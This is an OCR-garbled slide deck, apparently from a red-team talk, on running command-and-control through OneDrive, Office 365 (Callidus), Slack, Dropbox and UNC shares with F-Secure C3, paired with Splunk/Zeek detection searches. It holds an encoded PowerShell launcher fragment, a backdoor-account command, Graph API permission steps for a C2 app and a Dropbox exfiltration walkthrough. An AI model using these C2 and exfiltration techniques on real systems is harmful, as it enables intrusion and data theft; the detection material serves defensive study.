ATACQAdQASACCATOBpAGMACcgBVvAHMAbwBMAHQAIABTAGsAeQBEAHIAaQB2AGUAUWBSAGAAYWAgADEANWAUADAAMAATACAAMAAXADAANWAUADAAMAAWADGAIABZAGgAaQBWA

DsAIABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAWACAAMAAGACgAMOQAZADIAODQASACKAIWATACQAdWBDACAASABIAEEAZABFAHIACWAUAEEAZABEACgAIWBVAHMAZQBYACOAQQBN

AGUAbgBOACCALAAKAHUAKQATACQAGWBJACAAUABSAESAEABZADOAWWBTAFKACWBOAEUATQAUAEAARQBOACAAVWEF AGIAUGBIAFEAJQBIAHMAVABJADOAOGBEAGUAZGBhAFUABABUA . Th e SCI‘| pt we I I th en execu te an d

FcARQBCAFAAcgBPAFgAeQATACQAdWBJAC4AUABYAEBAWABZACAAQwWBSAEUARABFAE4AVABJAGEADABTACAAPQAGAFsAUWBSAFMAVABFAEOALgBOAGUAJAAUAEMAUGBIAGQARQBUA
HQASQBBAGWAQwBhAEMAaABFAFOAOgAGAEQAZOBmMAEEAdQBMAHQATgBFAHQAdwBVANIAawBDAHIARQBKAEUATgBOAEKAQOBMAHMAOWAKAFMAYwByAGKACABOADoAUABYAGSAe

.
ARSACAADNAAACNAAMRIACAATIARCAGRASARSANCATARI ADNAWALRTAHLA AGRNAGTATOAAGARNARNRVAHNAL AREAGAAVILRDAGNACSNRNAAGAAYNARANAANNRTAEMACNRIACAARWREAH »/ Connect to the el I Ipl re Control Server

e e o asr0 o PowerShell Event Logs « The attacker will then be able to

Event ID: <

- il G e P EventID: 4103 issue arbitrary commands and run

g;ecr:Ode: :Z;)F\vagrant Computer: wef.windomain.local Com ma nd Llne: -nOP _Sta _W 1 Empire modules On the Com promised

More Information: Event Log Online Help _enC" System




index=zeek sourcetype="bro:dns:json" src_ip=192.168.38.104 dest_ip=192.168.38.102 query=public.dm.files.1drv.com | table _time, src_ip, dest_ip, query, uid, id.orig_p, ts, trans_id Last 7 days v

v 18 events (9/24/20 11:00:00.000 PM to 10/1/20 11:59:54.000 PM) No Event Sampling Job v ® Smart Mode v

Did you see Some Events  Patterns  Statistics (18)  Visualization
beaconing traffic

here? 2020-10-01 :15:18. 192.168.38. 192.168.38. public.dm.files CKJRQCATPpAXOtAf7 57651 1601568918.099447 64951
.

_time ~ src_ip = dest_ip = query = uid = idorig_ps ~ tss 7 trans_id ¢+

2020-10-01 :15:18. 192. .38. 192.168.38. public.dm.files ChAFLX116pRgS0zBwd 57651 1601568918.099447 64951
2020-10-01 :39:22. 192. .38. 192. .38. public.dm.files C2leXWRjwfXziioHg 49444 1601566762.465508 56748

Hard to detect due 2020-10-01 15:39:22. 192.168.38. 192.168.38. public.dm.files CNjbli4mybktUVzomd 49444 1601566762. 465508 56748

2020-10-01 15:28:27. 192.168.38. 192.168.38. public.dm.files CyApXZ337ddX8TqQ68 58592 1601566107.707193 1111
to its nature 2020-10-01 15:28:27. 192.168.38. 192.168.38. public.dm.files C5TEqx2PgdGM5NS8cg 58592 1601566107.707193 11
2020-10-01 10:37:14. 192.168.38. 192.168.38. public.dm.files C1SMBUXYcQ2Ve5uld 59554 1601548634.515205 27892
2020-10-01 10:37:14. 192.168.38. 192.168.38. public.dm.files CrN2pT31SUbxepakw4 59554 1601548634.515205 27892

2020-10-01 :37:14. 192. .38. 192. .38. public.dm.files C1SMBUXYcQ2Ve5uld 59554 1601548634.485095 27892

Defender's dilemma

2020-10-01 :37:14. 192. .38. 192. .38. public.dm.files CrN2pT31SUbxepakw4 59554 1601548634.485095 27892
2020-10-01 :40:19. 192. .38. 192. .38. public.dm.files CWpu1Y2vbkRaKugo25 50156 1601516419.079226 27758
2020-10-01 :40:19. 192% .38. [192% 238% public.dm.files CQsk5e2JTkyYASEWP7 50156 1601516419.079226 27758
2020-10-01 :40:19. 192. .38. 192. .38. public.dm.files CQsk5e2JTkyYASEWP7 50156 1601516419.059687 27758
2020-10-01 :40:19. 192. .38. 192. .38. public.dm.files CWpu1Y2vbkRaKugo25 50156 1601516419.059687 27758
2020-09-30 23:24:38. 192. .38. 192. .38. public.dm.files C5642SXGb0TzwWsQ3 57287 1601508278.982063 37503
2020-09-30 23:24:38. 192. .38. 192. .38. public.dm.files CEcpcwdcqfx77fV1H4 57287 1601508278.982063 37503
2020-09-30 22:43:41. 192. .38. 192. .38. public.dm.files CdgNoK1nYSseQlyUtk 61833 1601505821.873916 63958

2020-09-30 :43:41. 192. .38. 192. .38. public.dm.files CDQXQ22UwTwK3piPak 61833 1601505821.873916 63958




C2 ONEDRIVE — BEACONING DETECTION (BRO / SPLUNK)

New Search

index=zeek sourcetype

v 54 events (9/25/20 10:00:00.000 AM to 10/2/20 10:37:43.000 AM)  No Event Sampling ¥

Events Patterns Statistics ($4) Visualization

100 Per Page ¥ # Format Preview v

_time < src_ip = dest_ip =

2020-10-02 192.168. 192.168.38.
2020-10-02 06:07:37. 192. .38. 192.168.38.
2020-10-02 06:07:37. 192. .38. 192.168.38.
2020-10-02 06:07:37. 11928 oo 192.168.38.
2020-10-02 04:09:46. . . 192. .38.
2020-10-02 04:09:46. 5 .38. 192. .38.
2020-10-02
2020-10-02
2020-10-02
2020-10-02

2020-10-02

2020-10-02

query =
public.
public.
public.
public.
public.

public.

public.
public.

public.

dm

dm

dm.

dm.

dm.

dm.

.dm.

.files

.files

files

files

files

files

files

.files

.files

.files

.files

New Search

fluery=public.dm.files.1drv.com | table _time, src_ip, dest_ip, query, uid, id.orig_p, ts, trans_id

uid <
CZBNP0o44KghFuOL89i
C6e8a02LH5D5VLAD14
C6e8a02LH5D5VLAD14
CZBNP044KghFuOL891
C38sI12D4WKK6GAK71
CBBRrT1qiP1BDGbyJi
C38sI12D4WKK6GAk71
CBBRrT1qiP1BDGbyJi
CvLUES2P7rECFOpQo7
Cak2wg15Uyy5mdVkLk
wg15Uyy5mdVkLk

CvLUES2P7rEC!

idorig_ps
64690
64690
64690
64690
63405
63405
63405
63405
61250

61250

tss 7

1601618857.074495

1601618857.074495

1601618857.052074

1601618857.052074

1601611786.

1601611786.

.218675

.218675

1601605135.12999

1601605135.12999

1601605135.104303

1601605135.104303

Save As ¥ Close

Last 7 days ¥ n

?® Smart Mode ¥

trans_id =

16444

16444

16444

16444

50

50

50

50

31820

31820

31820

31820

\
BRO/ZEEK logs utilizing DNS

Beaconing traffic with check-in
interval for almost every 2hrs. See

the

hattern there?




C2 ONEDRIVE — SSL FINGERPRINT DETECTION (BRO SSL | SPLUNK)

Events Patterns Statistics (4) Visualization

£ Bar Chart # Format 88 Trellis

a29d0d294a6236b5bf0ec2573dd4f02f _
™
®, 235a856727c14dbag89ddee0a3sdd2f2 I
0

1e64af0e20d9a09d61bf7b9d5de76bc7

ae76f123158d52fd84c2c313c0c724ac

ja3
7c410ce832e848a3321432c9a82e972b

a29d0d294a6236b5bf0ec2573dd4f02f

235a856727c14dba889ddee@a38dd2f2

1e64af0e20d9a09d61bf7b9d5de76bc7

ae761123158d52fd84c2c313cOc724ac

JA3 value:

- 235a856727c14dba889ddee0a38dd2f2
- Identified as PowerShell User-Agent

- Empire heavily used PowerShell

JA3 SSL Fingerprint

User-Agents seen with the hash

(235a856727c14dba889ddee0a38dd212 )

769,49162-49161-49172-49171-57-51-53-47-10-56-50-19-5-4,0-10-11-35-23-65281,29-23-24,0 Copy

¢ Mozilla/5.0 (Windows NT 6.0; rv:22.0) Gecko/20130405 Firefox/22.0 (count: 2, last seen: 2020-09-
13 23:00:14)

¢ Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html (count: 1, last
seen: 2020-03-16 05:26:16)

¢ Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/46.0.2490.86 Safari/537.36 (count: 1, last seen: 2020-05-16 01:31:51)

Comments from the community
. (Powershell (reported: 2020-06-24 05226:46)J

Search JA3 hash

( 235a856727c14dbag89ddec0a3sdd2f2 )

Search for JA3 hash

e seRacsReer _

M count

percent
84.130019

13.384321

1.529637

0.573614

0.382409

https://ja3er.com/form




CALLIDUS C2

Latin word for “Sneaky” is “Callidus”. It was developed using .net core
framework in C#. Allows operators to leverage O365 services for
establishing command & control communication channel. It uses the
Microsoft Graph APIs for communicating with the O365 services.

Microsoft Graph is a gateway to the data and intelligence in
Microsoft 365. It provides a unified programmable model that you can

use to access the tremendous amount of data in Office 365, Windows
10, and Enterprise Mobility + Security.

I

<
Thanks to! Chirag Salva — author of Callidus for helping us! CALLIDUS

https://3xpl01tc0d3r.blogspot.com/2020/03/introduction-to-callidus.nhtml



https://3xpl01tc0d3r.blogspot.com/2020/03/introduction-to-callidus.html

CALLIDUS 0365 C2

Register for an azure application and set access to Microsoft graph API.

Permissions Required for the application
to be used as C2 channel B Microsoft

@guidem.onmicrosoft.com

= Add a permission v/ Grant admin consent for Guidem

API / Permissions name Type Description Admin consent req...  Status Pe rmiSSionS requested

W Microsoft Graph (5)

€3-0365
Application  Read direct"} data / @ Granted for Guidem ==+
Application d and write directory data { @ Granted for Guidem . e e . . .
This application is not published by Microsoft.
Application d and write mail in all mailboxes { @ Granted for Guidem

This app would like to:

User.Read All Application d all users' full profiles { @ Granted for Guidem

- : - - Have full access to your files
User.ReadWrite Al Application d and write all users’ full profiles les @ Granted for Guidem e 4

v Maintain access to data you have given it access to

Accepting these permissions means that you allow this app to use

Grant access to the compromised account for Jou 4 2 e s oSS B

for you to review. You can change these permissions at

the registered application c3-0365 we created.

Does this app look suspicious? Report it here




CALLIDUS 0365 C2

Callidus also has modules for Outlook,One note and Microsoft Teams as of
this moment.

Empty folder Mark all as read

c2

Input
ipconfig
HTTPS/TLS

Inbox

Drafts

Sent Items HTTPS/ TLS g HTTPS/TLS

Deleted Items https://graph.microsoft.com/

Attacker Victim

—=\




O (M B https//outiook.office.com/n

el

Nothing in folder

~N

Groups

VILTIM WINDOW ATTALKER [iZ



splunk App: Search & Reporting ¥

Search Analytics Datasets Reports Alerts Dashboards

New Search

index=zgek sourcetype="bro:dns:json" qudry!="* userstorage.mega.co.nz"

50 of 132 events matched

C2 OFFICE 365 - DETECTION

Administrator v

query!="macbook pro._companion-link._tcp.local" query!="wpad.windomain.local" query!="macbook pro._device-info._tcp.local" | table

Messages ¥

time, uri, query

Job v

Settings ¥

Activity v

led

&

Help v Find

Search & Reporting

Save As v Close

30 minute window v g

? Smart Mode ¥

Events Patterns Visualization

Statistics (50)

100 Per Page v # Format

_time ¢

2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09
2020-10-09

2020-10-09

query

WORKGROUP

WORKGROUP

ctldl.windowsupdate.com

ctldl.windowsupdate.com

WORKGROUP

WORKGROUP

www. googleapis.com

www. googleapis.com
*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
dc.windomain.local

dc.windomain.local

graph.microsoft.com
graph.microsoft.com
login.microsoftonline.com

login.microsoftonline.com

WEF

WEF

*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00




C2 OFFICE 365 - DETECTION

index=Sysmon EventCode=1 ComputerName=wef* CommandLine!="C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"

19 of 5,424 events matched

| table, _time, ParentImage, Image,

ParentCommandLine, CommandLine, ComputerName

30 minute window ¥ n

? Smart Mode v

Events Patterns Statistics (19) Visualization

100 Per Page v # Format

_time + (Parentlmage -

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Windows\System32\net.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Windows\System32\net.exe

2020-10-09 C:\Windows\System32\net.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Windows\System32\net.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

2020-10-09 C:\Users\vagrant\Downloads\publish\publish

\OutlookC2Client.exe

~

2020-10-09 C:\Windows\System32\cmd. exe

Image <

C:\Windows\System32\net.exe

:\Windows\System32\net1.exe

:\Windows\System32\net.exe

:\Windows\System32\net1.exe

:\Windows\System32\net1.exe

:\Windows\System32\net.exe

:\Windows\System32\ipconfig.exe

:\Windows\System32\whoami.exe

:\Windows\System32\whoami.exe

:\Windows\System32\ipconfig.exe

:\Windows\System32\whoami.exe

:\Windows\System32\net1.exe

:\Windows\System32\net.exe

:\Windows\System32\ipconfig.exe

:\Windows\System32\ipconfig.exe

C:\Users\vagrant\Downloads\publish\publish

ParentCommandLine <

.\OutlookC2Client.exe

"net" user

.\OutlookC2Client.exe

"net" user 0365-attacker Password!
/add

"net" user

-\OutlookC2Client.

.\OutlookC2Client.

-\OutlookC2Client.

.\OutlookC2Client.

-\OutlookC2Client.

.\OutlookC2Client.

"net" user

.\OutlookC2Client.

.\OutlookC2Client.

.\OutlookC2Client.

"C:\Windows\system32\cmd.exe"

GommandLine s

"net" user

C:\Windows\system32\net1 user

"net" user 0365-attacker Passwdrd! /add
C:\Windows\system32\net1 user 0365-attacker Passwdrd! /add

C:\Windows\system32\net1 user

"net" user
"ipconfig"
"whoami"
"whoami"
"ipconfig"
"whoami"

C:\Windows\system32\net1 user

"net" user
"ipconfig"

"ipconfig"

QOutlwkCZClient .exe

ComputerName ¢

wef.windomain.local

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.




INTRODUCTION TO C3

C3 started as an “External C2”
implementation, but is intended to be
framework agnostic
Design requirements
- Enable rapid prototyping
Be dynamically adaptable

Allow chaining

Credits to William Knowles, Janusz
Szmigielski & Nick Jones

Huge thanks to F-secure & mwrlabs for
this awesome toolkit




C3 MAIN COMPONENTS

Connector — connection between Gateway
and the C2 Framework.

Gateway — a main node which allows to set
up other infrastructure around it

Channel — a communication medium, by

default we can use Slack or UNCShare.
Relay — this is the payload of C3, however, it
does not allow you to execute any
commands.




CUSTOM COMMAND & CONTROL COMMUNICATION ()T




MAKING IT EXTENSIBLE: INTERFACES

Primary means of extending C3; Intended to make it "modular”.
Has 2 types:
Channel Interface:
The “path” to another relay
Function as what is commonly associated with the notion of
a C2 channel (e.g http)

Implant Interface:
The “path” to a framework implant (e.g a named pipe)




C3 CHANNEL - SLACK

Organizations are embracing the
cloud based technology for = )
collaboration and bots such as Slack | & slack api Docume e Tt

Several security researchers have
experimented with Slack as a C2

channel, creating .
“Slackor”, Slack C2bot and Slackshell BUlld

Command & Control U

frequently used to move ﬂles around for just your team, or Slack's millions of users

Legitimate applications and are

Little risk that anti-virus or endpoint
solutions will detect the infiltration of
malicious code or the exfiltration of
sensitive data

https://www.praetorian.com/blog/using-slack-as-c2-channel-mitre-attack-web-service-t1102?edition=2019
https://qithub.com/praetorian-inc/slack-c2bot



https://www.praetorian.com/blog/using-slack-as-c2-channel-mitre-attack-web-service-t1102?edition=2019
https://github.com/praetorian-inc/slack-c2bot
https://www.coalfire.com/The-Coalfire-Blog/June-2019/Introducing-Slackor
https://github.com/praetorian-code/slack-c2bot
https://github.com/bkup/SlackShell

C3 CHANNEL - SLACK

Today

myslackbot APP 12.35 P
Hello, ZRM5TYWmlgBrBeOe reporting for duty. i

operator 12:38 PM

ZRMS5TYWmlgBrBeOe run whoami

myslackbot A¢P 12:40 PM
desktop-mk2b59j\test C:\Users\Tes wnlodds>win_slack_implar

sfully sent to channel CSt
operator 12:40 PM

ZRMSTYWmlgBrBeOe run ipconfig
myslackbot APP 12:44 pm '>an mk2b597j\test
Windows IP Configuration

ge successfully sent to channel CSHEMC8ST at 1554396027.002100

| ecuting the commands using the
Ethernet adapter EthernetO: onfig . . .
Connection-specific DNS Suffix . : localdomain S Impla (WI n_SlaCk_lmplant.eXE)

Link-local IPvé Address Windows IP Configuration
IPv4 Address

Subnet Mask

Default Gateway

Ethernet adapter Npcap Loopback Adapter: al IPv6 SS . . . . . : fes ad49:8d1c:18b2%5

o 12, Running _whoaml l_.lsmg slack against the
Link-local IPvé Address Default Gateway . . . . . . . . . : 192.168.67.2 Compromlsed maChlne

Ethernet adapter Npcap Loopback Adapter:

Se7d:4a43:eabfk4

https://www.praetorian.com/blog/using-slack-as-c2-channel-mitre-attack-web-service-t1102?edition=2019



https://www.praetorian.com/blog/using-slack-as-c2-channel-mitre-attack-web-service-t1102?edition=2019

- v W —~
#cytru.errnews *; @n 10 0. G

actively...
June 19th, 2019 +

-
eX1Im
S

NEW GATEWAY
July 10th, 2019 v guidem-c3-s
lack
v Roland
4 joined #cyber-news along with 2 othe
3 B I < Aa @ G

t\;l Listeners

Name ListenerType Status StartTime ConnectAddresses ConnectPort

- naage Active




C3 CHANNEL — SLACK (ATTACKER)

Grunts

relay-vioti
]

Hostname User Integrity LastCheckin Status Note Template

itadmin  High 10/8/2020 Active GruntSM

e 9:19:52 PM

relay-victi
m

>_ 458d2aaSed x

(guidem) > whoami

LABS\itadmin

(guidem) > shellcmd net user

*\\10.10.98.5\share’
C(MD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.

User accounts for \\ws@l

DefaultAccount itadmin

The command completed successfully.




C3 CHANNEL — DROPBOX

Dropbox has a rich and well
documented API

HTTPs enabled and trusted cloud
service

Therefore, Dropbox isn't
categorized as a malicious domain
right off the bat

Cobaltstrike added External C2
feature to allow 3rd party
programs to act as a
communication layer between
Cobalt Strike and its Beacon
payload

guidem-drop

Redirect URIs

https:// (http allowed for localhost)

Allow public clients (Implicit Grant & PKCE)

Allow
Generated access token

s

Access token expiration

No expiration

[*] DropboxC2 controller - Author: Arno0x0x - https://twitter.com/Arno0x0x - Ver
sion 0.2.4

[*][CONFIG] Using Dropbox API access token from configuration file

[SETUP] Enter the master password used to encrypt all data between the agents an
d the controler:

[+] Derived master key from password: [Gcgn+o/iVwZ63PSIj15j3Q==]

You can save it in the config file to reuse it automatically next time

[+] Creating [./incoming] directory for incoming files

[*] Starting Polling thread

Last Beacon (UTC) Wake Up time (UTC)




C3 CHANNEL — DROPBOX

Diagram Showing the Overview of the
Process

1.Create a new file in Dropbox with key ‘AGENT:SUUID' 2.Discover AGENT file, register with self, delete Agent file

[hen retrieve task from Team Server

\ 4

3. Create a file in dropbox with key '$UUID:TaskForYou'
with contents for client to execute.

4. Poll Dropbox for new files entitled 'SUUID:TaskForYou

5.Download object and read data with '$UUID:TaskForYou',
delete file and execute body contents.

6.Create file with key '$UUID:RespForYou' with D ropbox 7.Poll for 'S§UUID:ResplorYou' and deliver results to

results of task execution team server

Continue polling for tasks

Client

External C2 Team Server




C3 CHANNEL — DROPBOX (VICTIM)

CPUL
Default Gateway:
DHCP Server:

Services
DNS Server:

Victim's view after executing

Free Space: Memory

\ ] ator; Command Prompt [ osquery daemon and shell k 1.1 MB .
C:\Users\vagrant\Desktop>.\Relay_x64_f576_dropbox-relay.exe 27 Process Monitor 10.1 MB ‘ I I I I p a I I rOI I I

C:\Users\vagrant\Desktop> [87 Relay x64 f575 relay-victim.exe 8.6 MB

[®] Relay_x64_f576_dropbox-relay.exe 4.4 MB

T Runtime Broker 95

Search

Search Background Task
Service Host: DCOM Serf/=] Process Monitor - C:\Users\vagrant\Desktop\dropbox.PML
File Edit Event Filter Tools Options Help

FEXBR LS E MF B LR
. Process, Nain2 Pl (peraticn Result Detail
Service Host: Local Servi¢ 10.54-4 _ il Relay_xf4_f5.6_diopbox re!ay axe 2168 QJFroness Sart SUCCESS Parent PID: 4900, Command line: \Relay...
| Relay_x64_{576_dropbox-relay exe 2168 f Thread Create SUCCESS Thread ID: 2652
:54:4... [B-|Relay_x64_f576_dropbox-relay.exe 2168 JF Load Image C:\Usersl\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe SUCCESS Image Base: 0x7ff689¢cd0000, Image Si...
Service Host: Local Servid 10:54: -|Relay_x64_f576_dropbox-relay.exe 2168 JF Load Image C:\Windows\System32\ntdIl.dil SUCCESS Image Base: 0x7ff8314e0000, Image Si.
1 | Relay_x64_f576_dropbox-relay.exe 2168 B\IRP_MJ_CREATE C:\Users\vagrant\Desktop SUCCESS Desired Access: Execute/Traverse, Sync...
Service Host: Local Syste -4... (| Relay_x64_f576_dropbox-relay.exe 2168 hIRP_MJ_QUERY_SECURITY C:\Userslvagrant\Desktop SUCCESS Information: Attribute
-4 [ Relay_x64_f576_dropbox-relay.exe 2168 JF Load Image C:\Windows\System32\kernel32.dll SUCCESS Image Base: 0x7ff8308a0000, Image Si.
. [ Relay_x64_f576_dropbox-relay.exe 2168 JF Load Image C:\Windows\System32\KernelBase.dll SUCCESS Image Base: 0x7ff82e7a0000, Image Si.
user name: Fewer details -4 [ Relay_x64_f576_dropbox-relay.exe 2168 g;FASTIOﬁNETWORKiQUERYioPEN C:\Windows\System32\apphelp.dil FAST 10 DISALLO..
_— :54:4... [B-|Relay_x64_f576_dropbox-relay.exe 2168 BIRP_MJ_CREATE C:\Windows\System32\apphelp.dil SUCCESS Desired Access: Read Attributes, Dispo...
-54: 1| Relay_x64_{576_dropbox-relay exe 2168 B\FASTIO?QUERYJNFORMATION C:\Windows\System32\apphelp.dil SUCCESS Type: QueryBasicInformationFile, Creati...
-| Relay_x64_f576_dropbox-relay.exe 2168 BIRP_MJ_CLEANUP C:\Windows\System32\apphelp.dil SUCCESS
{8 Relay_x64_{576_dropbox-relay.exe 2168 E} IRP_MJ_CLOSE C:Windows\System32\apphelp.dil SUCCESS
(W Relay_x64_f576_dropbox-relay.exe 2168 B; IRP_MJ_CREATE C:\Windows\System32\apphelp.dil SUCCESS Desired Access: Read DatalList Director...
[m|Relay_x64_f576_dropbox-relay.exe 2168 9. IRP_MJ_QUERY_SECURITY C:\Windows\System32\apphelp.dil SUCCESS Information: Attribute
[-|Relav x64 {576 dronhox-relavexe 216 BFASTIO_ACQUIRE_FOR_SECTION_S . C:\Windows\System32\apphelp.dil FILE LOCKED WIT...SyncType: SyncTypeCreateSection, Pag.
5 8 (b FASTIO_RELEASE_FOR_SECTION_S... C:\Windows\System32\apphelp.dil SUCCESS
B ' Network Summary 8 [5h FASTIO_ACQUIRE_FOR_SECTION_S... C:\Windows\System32\apphelp.dil SUCCESS SyncType: SyncTypeOther
8 (b FASTIO_RELEASE_FOR_SECTION_S... C:\Windows\System32\apphelp.dil SUCCESS
; 8 37 Load Image C:\Windows\System32\apphelp.dil SUCCESS Image Base: 0x7ff82bee0000, Image Si..
Network paths accessed during trace: s %mp_w_cmmup C:Windows\System32apphelp.di SUCCESS
- - . - 8 IRP_MJ_CLOSE C:\Windows\System32\apphelp.dil SUCCESS
Network Time TotaTEvents Connects  Disconn.. Receives Send Byt Receive ... Path 8 B\IRP_MJ_CREATE C:\Usersl\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe SUCCESS Desired Access: Read Control, Dispositi...
0.0000000 272 4 2 42,267 82,599 <Total> 8 % IRP_MJ_QUERY_SECURITY C\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay exe SUCCESS Information: Attribute
. 8 IRP_MJ_QUERY_SECURITY C:\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe BUFFER OVERFL... Information: Owner
0.0000000 213 1 0 33'822 48’723 162.125.81 ‘7‘https 8 B IRP_MJ_QUERY_SECURITY C:\Usersl\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe SUCCESS Information: Owner
0.0000000 59 3 2 8,445 33,876 162.125.81.1 4:httpS 8 5. IRP_MJ_CLEANUP C:\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay exe SUCCESS
8 @IRP_MJ_CLOSE C:\Usersl\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe SUCCESS

Service Host: Local Servi

Service Host: Local Servi

Service Host: Local Servi !

Service Host: Local Svste) !




= Dvopbox

a Dropbox

W Starres

. . -’
! App Center

GadfBeae

Starred folders Apps

Show wxamphes

1 folder

- — = = m

guidem-drop

Relays Interfaces Commands

ListenerType StartTime ConnectAddresses Resut 0 hems per page §



C3 CHANNEL — DROPBOX (ATTACKER)

Summary exfiltration

dropbox-rel
ay

@

dropbox-rel
ay

a > Apps > guidem-drop >

guidemdropbox2

Click here to describe this folder and turn itinto a Space  Show examples

3 files

Name 4
upload-A7sP9iPi0J-1602197876-guidem_confidential2.txt
upload-vt551f9qu5-1602197010-guidem_confidential.txt

Pin or drag files and folders here for quick

a

Cess

S!

S

&m -

10/9/20, 6:57 am @ You added 1 minute ago

Modified Recent activity

-
10/9/20, 6:43 am GA]




C3 CHANNEL - UNC SHARES

« (3 can use UNC path in order to
laterally move through the network
and use the shared folder for
command and control communication.

* As you can see below every time our
covenant C2 sends a task through a

file will be created that will be used for
relay communication

> Network > 10.10.98.5 > share

-~

Name Date modified Type

| | 742258560 10/3/2020 7:26 PM File 1KB

https://labs.f-secure.com/blog/attack-detection-fundamentals-discovery-and-lateral-movement-lab-3/



https://labs.f-secure.com/blog/attack-detection-fundamentals-discovery-and-lateral-movement-lab-3/

C3 CHANNEL - DROPBOX

e Using the same Dropbox app we can
create.

e Once the relay is executed on the victim it
will query and resolve the domain
api.dropboxapi.com which is used for polling

the folder.
e Relays will often check the contents of

the Dropbox folder for files to read.

C3 will create a new folder the Dropbox app folder

https://labs.f-secure.com/blog/attack-detection-fundamentals-c2-and-exfiltration-lab-3/



https://labs.f-secure.com/blog/attack-detection-fundamentals-c2-and-exfiltration-lab-3/

C3 CHANNEL - DROPBOX

Even in this case there is no integration with our

command and control (C2) framework, Covenant,
we can see that details such as operating system
and user is already.

guidem-gate
way

Last seen 2020/10/03 16:45:38

Computer Name w. OS Major Version
OS Minor Version
0S Build Number
0S Service Pack Major
ue OS Service Pack Minor
0S Product Type

Windows 10.0 S SP: 0.0
Build 14393

Channels

Channel ID Channel Type

0




C3 CHANNEL — DROPBOX EXFILTRATION

Once we have our Dropbox channel fully functional we can now use
this channel for exfiltration.

Create Command for: CHANNEL - Dropbox/ ©

BACK

Select Command
Upload File from Relay Create Command for: CHANNEL - Dropbox/ ©

Select Command

- - - [ Upload File from Relay
C:\Users\itadmin\Desktop\confidential.txt|

Upload File from Relay

S Remove All Files
‘ CANCEL ‘ SEND COMMAND
I — Close

Set UpdateDelayJitter

As seen here we can also configure jitter and delay or remove files

F) — ——rrepe

Home Share View
File Edit Format View Help

this is a confidential document for proof of concept J b Cut X
|

{75 New item ~

ﬂ Open EBSelect all

w.; Copy path T | Easy access v Edit Select none

Pin to Quick Copy Paste Move Copy Delete Rename New Properties o
access [#] Paste shortcut to to - folder - &) History 57 Invert selection
Clipboard Organize New Open Select
v A > mark christian secretario > Dropbox > Apps > guidem-drop > wqeb

VirtualBox & Name Date modified Type

wvscode

& | bysw-jXVnRil1Z3-1601743901 10/4/2020 12:51 AM File
P 3D Objects

| upload-fluEzLHdzp-1601743889-confide...  10/4/2020 12:51 AM

Text Document

Successful Data exfilltration using Dropbox on C3 channel




C3 CHANNEL — DROPBOX EXTERNAL C2 &

Create Command for: GATEWAY - guidem-gateway / 1444292e8acb52c7

As the objective of C3 is to be fully g

AddPeripheralBeacon

extensible we can turn on connector =

TurnOnConnec torCovenan t

to our C2 of choice (Covenant/Cobalt EEESE

Close
St - k CreateRoute
rI e RemoveRoute

ClearNetwork

Create Command for: GATEWAY - guidem-gateway / 1444292e8acb52c7

Select C d
( TJ%OHC nnnnn torCovenan t Create Command for: RELAY - dropbox / e08449fb5dd8eedc9

C2BridgePort Select C d
gl
[ 8000 { AddPeripheralGrunt I

Username

( guidem

guidem

|
|
|

CANCEL ‘ SEND COMMAND
oo |

Setup Connector for covenant & Add a peripheral grunt




C3 CHANNEL — DROPBOX EXTERNAL C2

Every time we execute a task in our C2, it will go through the
Dropbox channel then the relay will upload files in our Dropbox folder
through the guidem-drop which is our application.

> Dropbox > Apps > guidem-drop > wqeb

-~
Name

& | g8ra-XgelLPXvdBI-1601750183

Successful connection on our Covenant C2




C3 CHANNEL — DROPBOX DETECTION

WriteMessageToFile hitps://content.dropboxapi.com/2/files/upload
ListChannels hitps://api.dropboxapi.com/2/files/list_folder
CreateChannel hitps://api.dropboxapi.com/2/files/create_folder_v2
GetMessageByDirection hitps://api.dropboxapi.com/2/files/search_v?2
ReadFile hitps://content.dropboxapi.com/2/files/download

DeleteFile hitps://api.dropboxapi.com/2/files/delete_v?2

Dropbox URL calls credits to F-secure (C3 workshop)

https://labs.f-secure.com/blog/attack-detection-fundamentals-c2-and-exfiltration-lab-3/



https://labs.f-secure.com/blog/attack-detection-fundamentals-c2-and-exfiltration-lab-3/

C3 CHANNEL — GOOGLE DRIVE

RogueRobin Malware Uses Google Drive as
C2 Channel

A custom malware used by the APT
known as DarkHydrus uses a mix of
novel techniques, including using
Google Drive as an alternate command-
and-control (C2) channel.

The samples of the RogueRobin Trojan analyzed by Palo Alto Networks implement additional
